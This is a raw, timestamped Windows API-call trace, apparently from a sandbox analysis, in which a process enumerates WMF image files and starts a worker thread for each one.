	[0240.815] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14ce, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0196110.WMF", cAlternateFileName="")) returned 1
	[0240.815] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c70
	[0240.817] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.818] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xef2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0196142.WMF", cAlternateFileName="")) returned 1
	[0240.818] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c74
	[0240.820] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.821] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x739e4f00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x739e4f00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x3586, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0196354.WMF", cAlternateFileName="")) returned 1
	[0240.821] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c78
	[0240.823] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.824] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74cf7c00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74cf7c00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1b00, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0196358.WMF", cAlternateFileName="")) returned 1
	[0240.824] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c7c
	[0240.826] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.826] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78630300, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78630300, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x164c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0196364.WMF", cAlternateFileName="")) returned 1
	[0240.826] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c10
	[0240.903] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.904] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d26, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0197979.WMF", cAlternateFileName="")) returned 1
	[0240.904] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b60
	[0240.906] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.907] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23edc800, ftCreationTime.dwHighDateTime=0x1be3d01, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23edc800, ftLastWriteTime.dwHighDateTime=0x1be3d01, nFileSizeHigh=0x0, nFileSizeLow=0x668c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0197983.WMF", cAlternateFileName="")) returned 1
	[0240.907] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bd4
	[0240.909] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.909] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9fe6800, ftCreationTime.dwHighDateTime=0x1c0323c, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9fe6800, ftLastWriteTime.dwHighDateTime=0x1c0323c, nFileSizeHigh=0x0, nFileSizeLow=0x849c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198016.WMF", cAlternateFileName="")) returned 1
	[0240.909] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8c
	[0240.911] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.912] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f94700, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71f94700, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x5cae, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198020.WMF", cAlternateFileName="")) returned 1
	[0240.912] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c90
	[0240.914] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.915] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745ba100, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x745ba100, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x8860, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198021.WMF", cAlternateFileName="")) returned 1
	[0240.915] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c0c
	[0240.917] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.918] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18fcfa00, ftCreationTime.dwHighDateTime=0x1c0323d, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18fcfa00, ftLastWriteTime.dwHighDateTime=0x1c0323d, nFileSizeHigh=0x0, nFileSizeLow=0x6624, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198022.WMF", cAlternateFileName="")) returned 1
	[0240.918] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bd0
	[0240.920] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.921] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de50900, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7de50900, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x3cce, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198025.WMF", cAlternateFileName="")) returned 1
	[0240.921] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c1c
	[0240.923] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.924] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb570900, ftCreationTime.dwHighDateTime=0x1bd9f2f, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb570900, ftLastWriteTime.dwHighDateTime=0x1bd9f2f, nFileSizeHigh=0x0, nFileSizeLow=0xd6b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198102.WMF", cAlternateFileName="")) returned 1
	[0240.924] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c24
	[0240.927] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.927] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce00a00, ftCreationTime.dwHighDateTime=0x1bd9fdf, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcce00a00, ftLastWriteTime.dwHighDateTime=0x1bd9fdf, nFileSizeHigh=0x0, nFileSizeLow=0xa520, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198113.WMF", cAlternateFileName="")) returned 1
	[0240.927] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c20
	[0240.929] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.930] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa3b2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198226.WMF", cAlternateFileName="")) returned 1
	[0240.931] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c3c
	[0240.933] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.934] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa69e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198234.WMF", cAlternateFileName="")) returned 1
	[0240.934] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c2c
	[0240.936] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.994] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f9c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198372.WMF", cAlternateFileName="")) returned 1
	[0240.994] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c28
	[0240.997] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.997] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1925100, ftCreationTime.dwHighDateTime=0x1be3a08, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1925100, ftLastWriteTime.dwHighDateTime=0x1be3a08, nFileSizeHigh=0x0, nFileSizeLow=0x9d6c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198377.WMF", cAlternateFileName="")) returned 1
	[0240.997] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c30
	[0241.000] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.001] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc20c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198447.WMF", cAlternateFileName="")) returned 1
	[0241.001] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0241.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c38
	[0241.003] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.003] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xae08, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198494.WMF", cAlternateFileName="")) returned 1
	[0241.004] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0241.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c34
	[0241.006] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.006] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe17a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0198712.WMF", cAlternateFileName="")) returned 1
	[0241.007] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0241.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c18
	[0241.009] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.009] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x714e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199279.WMF", cAlternateFileName="")) returned 1
	[0241.009] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0241.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c14
	[0241.012] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.012] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c4e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199303.WMF", cAlternateFileName="")) returned 1
	[0241.012] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0241.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c4c
	[0241.015] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.016] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc37e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199307.WMF", cAlternateFileName="")) returned 1
	[0241.016] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0241.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c48
	[0241.018] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.018] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x662a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199423.WMF", cAlternateFileName="")) returned 1
	[0241.019] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0241.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c44
	[0241.021] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.021] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199429.WMF", cAlternateFileName="")) returned 1
	[0241.021] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0241.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c50
	[0241.024] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.024] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0199465.WMF", cAlternateFileName="")) returned 1
	[0241.024] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0241.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c80
	[0241.027] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
